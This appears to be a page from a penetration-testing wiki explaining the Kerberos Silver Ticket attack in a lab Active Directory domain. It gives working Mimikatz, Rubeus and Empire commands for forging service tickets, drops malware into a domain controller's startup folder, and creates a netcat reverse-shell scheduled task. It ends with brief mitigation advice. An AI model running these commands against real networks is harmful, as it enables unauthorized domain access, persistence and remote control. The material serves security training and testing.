Pentest Everything
GitHubSupport Pentest Everything
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵PsMapExec
    • Change Log
    • BloodHound
    • Using Credentials
    • Cross Domain Usage
    • Methods
      • Command Execution
      • DCSync
      • GenRelayList / SMB Signing
      • Inject
      • IPMI
      • Kerberoast
      • MSSQL
      • Session Hunter
      • Spray
    • Modules
      • Amnesiac
      • ConsoleHistory
      • Files
      • FileZilla
      • KerbDump
      • eKeys
      • LDAP / LDAPS
      • LogonPasswords
      • LSA
      • MDF
      • NTDS
      • Notepad
      • NTLM
      • SAM
      • SCCM
      • SessionExec
      • SessionRelay
      • SSH
      • TGTDeleg
      • VNC
      • Wi-Fi
      • WinSCP
    • Target Acquisition
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  • Notes
  • Techniques
  • Scenario
  • Mimikatz (Method-01)
  • Rubeus (Method-02)
  • Empire (Method-03)
  • Post Exploitation Techniques
  • Other ticket combinations
  • Mitigation
  • References

Was this helpful?

  1. Everything
  2. Everything Active Directory and Windows
  3. Credential Access
  4. Steal or Forge Kerberos Tickets

Silver Ticket

https://attack.mitre.org/techniques/T1558/002/

Last updated 2 months ago

Was this helpful?

ATT&CK ID:

Permissions Required: User

Description

Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.

Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.

Notes

  • Silver ticket is a valid TGS where a Golden ticket is a TGT

  • Encrypted and signed by the NTLM hash of the service account

  • Services only allow access to the services themselves

Techniques

Scenario

  • Domain Controller (DC01)

  • Workstation (Workstation-01)

This scenario assumes compromise where the computer account hash for DC01$ has already been revealed through one of the many methods found in this .

Here we are running as the local administrator on the WS01 system. Attempting to list the directory contents of C$ on the Domain Controller shows we are unable to do so (the local administrator has no permission over the C: drive on the DC).

Mimikatz (Method-01)

From the workstation we are able to make use of Mimikatz to forge a silver ticket using the NTLM machine account for the DC.

Command Breakdown

Switch
Description

kerberos::golden

Module name

/domain:

Domain FQDN

/sid:

Domain SID

/target:

Target FQDN

/service:

SPN name of service to create TGS for

/rc4:

NTLM / RC4 hash of the service account (DC01)

/aes265:

AES265 hash if /rc4: is not going to be used

/user:

Username for which the TGT is generated (Can be fake)

/ptt

Injects ticket into current process

Input (RC4)
Invoke-Mimikatz -Command '"kerberos::golden /domain:security.local /sid:S-1-5-21-3601687231-1513629788-1757802677 /target:dc01.security.local /service:CIFS /rc4:53b82af68b0faf6587971fe807fad960 /user:Viper /ptt"'
Input (AES265)
Invoke-Mimikatz -Command '"kerberos::golden /domain:security.local /sid:S-1-5-21-3601687231-1513629788-1757802677 /target:dc01.security.local /service:CIFS /aes256:4d8daf60cf15651b283c9c180b04d4bd68a5b06592c0007697ae8de0700a21d5 /user:Viper /ptt"'
Output
User      : Viper
Domain    : security.local (SECURITY)
SID       : S-1-5-21-3601687231-1513629788-1757802677
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 53b82af68b0faf6587971fe807fad960 - rc4_hmac_nt
Service   : CIFS
Target    : dc01.security.local
Lifetime  : 09/02/2023 13:21:08 ; 06/02/2033 13:21:08 ; 06/02/2033 13:21:08
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Viper @ security.local' successfully submitted for current session

Now the ticket has been created and injected into the current process (/ptt) we can use the command below to open a new command prompt from Mimikatz whilst retaining the ticket.

Invoke-Mimikatz -Command "misc::cmd"

Next, use klist command to check if the ticket has retained in the new session

Current LogonId is 0:0x57cab

Cached Tickets: (1)

#0>     Client: Viper @ security.local
        Server: CIFS/dc01.security.local @ security.local
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
        Start Time: 2/9/2023 13:21:08 (local)
        End Time:   2/6/2033 13:21:08 (local)
        Renew Time: 2/6/2033 13:21:08 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0
        Kdc Called:

We are then able to list the C$ share of the Domain Controller.

# CMD 
dir \\DC01.Security.Local\C$

# PowerShell
ls -force \\DC01.Security.Local\C$
Output
<-- Snip -- >

 Directory of \\DC01.Security.Local\C$

22/12/2022  13:30    <DIR>          PerfLogs
22/12/2022  14:26    <DIR>          Program Files
25/01/2023  17:02    <DIR>          Program Files (x86)
26/01/2023  19:58    <DIR>          Users
03/01/2023  16:01    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  60,414,803,968 bytes free
               
<-- Snip -- >

Some examples commands which can now be performed on the domain controller

Rubeus (Method-02)

Using Rubeus we can either forge the silver ticket and load into a separate session (cleaner) or forge the ticket and inject into the current process (may cause issues).

Forge and inject directly into the current process

Rubeus.exe silver /service:cifs/dc01.security.local /aes256:f9647c8dba66c6576057167ab18d93582ea7fa1a8fd9b03b79d7d173644ff2e4 /user:Administrator /domain:security.local /sid:S-1-5-21-3601687231-1513629788-1757802677 /nowrap /ptt

Forge and inject into new process

# Forge silver ticket
Rubeus.exe silver /service:cifs/dc01.security.local /aes256:f9647c8dba66c6576057167ab18d93582ea7fa1a8fd9b03b79d7d173644ff2e4 /user:Administrator /domain:security.local /sid:S-1-5-21-3601687231-1513629788-1757802677 /nowrap
Input
# Createnetonly process, username and password can be anything
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:Security.local /username:Administrator /password:NotRealPass
Output
[*] Action: Create Process (/netonly)
[*] Using Security.local\Administrator:NotRealPass

[*] Showing process : False
[*] Username        : Administrator
[*] Domain          : Security.local
[*] Password        : NotRealPass
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 2080
[+] LUID            : 0x12e0ab8

Take note of the LUID value in the output above. We need to now inject the silver ticket we forged earlier into the new LUID session.

Rubeus.exe ptt /luid:0x12e0ab8 /ticket:doIFuj[...snip...]lDLklP

After the ticket has been imported into the new LUID session we then need to impersonate the process token using the ProcessID from the output above (2080).

Invoke-SharpImpersonation -Command "pid:[PID]"

As above, checking klist shows the silver ticket has retained in our new shell process. We should now be able to list the contents of the Domain Controller's C: drive.

Output
 Directory of \\DC01.Security.Local\C$

22/12/2022  13:30    <DIR>          PerfLogs
22/12/2022  14:26    <DIR>          Program Files
25/01/2023  17:02    <DIR>          Program Files (x86)
26/01/2023  19:58    <DIR>          Users
03/01/2023  16:01    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  60,414,803,968 bytes free

Empire (Method-03)

# PowerShell
powershell/credentials/mimikatz/silver_ticket

Post Exploitation Techniques

# Map drive
net use Z: \\dc01.security.local\C$

# Copy malware to Domain Administrator startup folder on DC
copy .\MaliciousFile.exe "\\dc01.security.local\c$\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# CMD 
.\PsExec.exe -accepteula \\dc01.security.local cmd

# Netcat
schtasks /create /sc minute /mo 1 /tn "Persistence" /tr 'c:\Users\Administrator\Downloads/nc.exe 10.10.10.10 443 -e cmd.exe'

Other ticket combinations

Technique
Required Service Ticket

PSexec

CIFS

WinRm

HOST & HTTP

DCSync (DCs only)

LDAP

Mitigation

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.

References

If possible use which have random, complex passwords (>100 characters) and are managed automatically by Active Directory

T1158.002
Link
group managed service accounts
[source]
How Attackers Use Kerberos Silver Tickets to Exploit SystemsActive Directory Security